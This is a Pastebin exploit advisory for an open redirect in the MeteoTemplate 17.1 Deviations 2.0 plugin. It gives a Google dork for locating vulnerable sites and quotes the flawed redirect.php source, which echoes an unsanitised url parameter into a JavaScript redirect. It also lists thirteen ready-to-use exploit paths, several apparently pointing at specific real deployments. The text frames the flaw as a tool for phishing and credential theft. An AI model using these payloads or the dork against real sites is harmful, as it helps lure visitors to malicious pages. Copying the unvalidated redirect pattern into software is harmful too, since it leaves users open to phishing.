Advertisement
KingSkrupellos

MeteoTemplate 17.1 Nectarine Deviations 2.0 Open Redirection

Feb 25th, 2019
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.56 KB | None | 0 0
  1. ###############################################################################
  2.  
  3. # Exploit Title : MeteoTemplate 17.1 Nectarine Deviations Plugins 2.0 Open Redirection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 26/02/2019
  7. # Vendor Homepage : meteotemplate.com
  8. # Software Download Link : meteotemplate.com/web/downloadRequest.php?file=deviations_2.0
  9. # Software Information Link : meteotemplate.com/web/plugins.php
  10. # Software Affected Versions : 2.0 and 17.1
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : High
  14. # Google Dorks : inurl:''/plugins/deviations/redirect.php''
  15. # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
  16. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  17. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  18. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  19.  
  20. ###############################################################################
  21.  
  22. # Description about Software :
  23. ***************************
  24. This plugin shows you differences between selected period and the corresponding long-term average.
  25.  
  26. Data is presented in interactive tables, graphs and heatmaps.
  27.  
  28. ###############################################################################
  29.  
  30. # Impact :
  31. ***********
  32. This web application MeteoTemplate 17.1 Nectarine Deviations Plugins 2.0 accepts a user-controlled
  33.  
  34. input that specifies a link to an external site, and uses that link in a Redirect.
  35.  
  36. This simplifies phishing attacks. An http parameter may contain a URL value and could cause
  37.  
  38. the web application to redirect the request to the specified URL. By modifying the URL value
  39.  
  40. to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.
  41.  
  42. Because the server name in the modified link is identical to the original site, phishing attempts
  43.  
  44. have a more trustworthy appearance.
  45.  
  46. Open redirect is a failure in that process that makes it possible for attackers to steer users to malicious websites.
  47.  
  48. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.
  49.  
  50. Web users often encounter redirection when they visit the Web site of a company whose name
  51.  
  52. has been changed or which has been acquired by another company. Visiting unreal web page
  53.  
  54. user's computer becomes affected by malware the task of which is to deceive the valid actor and steal his personal data.
  55.  
  56. ###############################################################################
  57.  
  58. # Vulnerable Parameter => url=
  59. *****************************
  60.  
  61. # Vulnerable Source Code : [ redirect.php ]
  62. **************************************
  63. <?php
  64.  
  65. ############################################################################
  66. #
  67. # Meteotemplate
  68. # http://www.meteotemplate.com
  69. # Free website template for weather enthusiasts
  70. # Author: Jachym
  71. # Brno, Czech Republic
  72. # First release: 2015
  73. #
  74. ############################################################################
  75. #
  76. # Loading Spinner
  77. #
  78. # A script which shows a loading spinner while redirecting.
  79. #
  80. ############################################################################
  81. # Version (change log - http://meteotemplate.com/blog/?page_id=42)
  82. #
  83. # v6.0 Blueberry 2016-04-09
  84. #
  85. ############################################################################
  86.  
  87.  
  88. include("../../config.php");
  89. include($baseURL."css/design.php");
  90. include($baseURL."header.php");
  91. $address = urldecode($_GET["url"]);
  92. ?>
  93. <html>
  94. <head>
  95. <?php metaHeader()?>
  96. <style>
  97. #loading{
  98. background-color: transparent;
  99. height: 100%;
  100. width: 100%;
  101. position: fixed;
  102. z-index: 1;
  103. margin-top: 0px;
  104. top: 0px;
  105. }
  106. #loading-center{
  107. width: 100%;
  108. height: 100%;
  109. position: relative;
  110. }
  111. #loading-center-absolute {
  112. position: absolute;
  113. left: 50%;
  114. top: 50%;
  115. height: 200px;
  116. width: 200px;
  117. margin-top: -100px;
  118. margin-left: -100px;
  119.  
  120. }
  121. .object{
  122. -moz-border-radius: 50% 50% 50% 50%;
  123. -webkit-border-radius: 50% 50% 50% 50%;
  124. border-radius: 50% 50% 50% 50%;
  125. position: absolute;
  126. border-left: 5px solid #FFF;
  127. border-right: 5px solid #FFF;
  128. border-top: 5px solid transparent;
  129. border-bottom: 5px solid transparent;
  130. -webkit-animation: animate 2s infinite;
  131. animation: animate 2s infinite;
  132. }
  133.  
  134. #object_one{
  135. left: 75px;
  136. top: 75px;
  137. width: 50px;
  138. height: 50px;
  139. }
  140.  
  141. #object_two{
  142. left: 65px;
  143. top: 65px;
  144. width: 70px;
  145. height: 70px;
  146. -webkit-animation-delay: 0.1s;
  147. animation-delay: 0.1s;
  148. }
  149.  
  150. #object_three{
  151. left: 55px;
  152. top: 55px;
  153. width: 90px;
  154. height: 90px;
  155. -webkit-animation-delay: 0.2s;
  156. animation-delay: 0.2s;
  157. }
  158. #object_four{
  159. left: 45px;
  160. top: 45px;
  161. width: 110px;
  162. height: 110px;
  163. -webkit-animation-delay: 0.3s;
  164. animation-delay: 0.3s;
  165.  
  166. }
  167.  
  168. @-webkit-keyframes animate {
  169.  
  170.  
  171. 50% {
  172. -ms-transform: rotate(180deg);
  173. -webkit-transform: rotate(180deg);
  174. transform: rotate(180deg);
  175. }
  176.  
  177. 100% {
  178. -ms-transform: rotate(0deg);
  179. -webkit-transform: rotate(0deg);
  180. transform: rotate(0deg);
  181. }
  182.  
  183. }
  184.  
  185. @keyframes animate {
  186.  
  187. 50% {
  188. -ms-transform: rotate(180deg);
  189. -webkit-transform: rotate(180deg);
  190. transform: rotate(180deg);
  191. }
  192.  
  193. 100% {
  194. -ms-transform: rotate(0deg);
  195. -webkit-transform: rotate(0deg);
  196. transform: rotate(0deg);
  197. }
  198. }
  199. </style>
  200. </head>
  201. <body onload="redirectpage()">
  202. <div id="loading">
  203. <div id="loading-center">
  204. <div id="loading-center-absolute">
  205. <div class="object" id="object_four">
  206. </div>
  207. <div class="object" id="object_three">
  208. </div>
  209. <div class="object" id="object_two">
  210. </div>
  211. <div class="object" id="object_one">
  212. </div>
  213. </div>
  214. </div>
  215. </div>
  216. </body>
  217. <script>
  218. function redirectpage(){
  219. window.location.href = "<?php echo $address ?>";
  220. }
  221. </script>
  222. </html>
  223.  
  224. ###############################################################################
  225.  
  226. # Open Redirection Exploit :
  227. **************************
  228. /plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  229.  
  230. /template/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  231.  
  232. /j-template/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  233.  
  234. /thompsonfarms/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  235.  
  236. /eltiempo/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  237.  
  238. /knjazevac/MeteoTemplate/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  239.  
  240. /meteotemplate/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  241.  
  242. /meteotemplate-morro-das-antenas/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  243.  
  244. /Meteo/template/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  245.  
  246. /nyiregymet/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  247.  
  248. /station/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  249.  
  250. /segur/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  251.  
  252. /template5/plugins/deviations/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  253.  
  254. ###############################################################################
  255.  
  256. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  257.  
  258. ###############################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement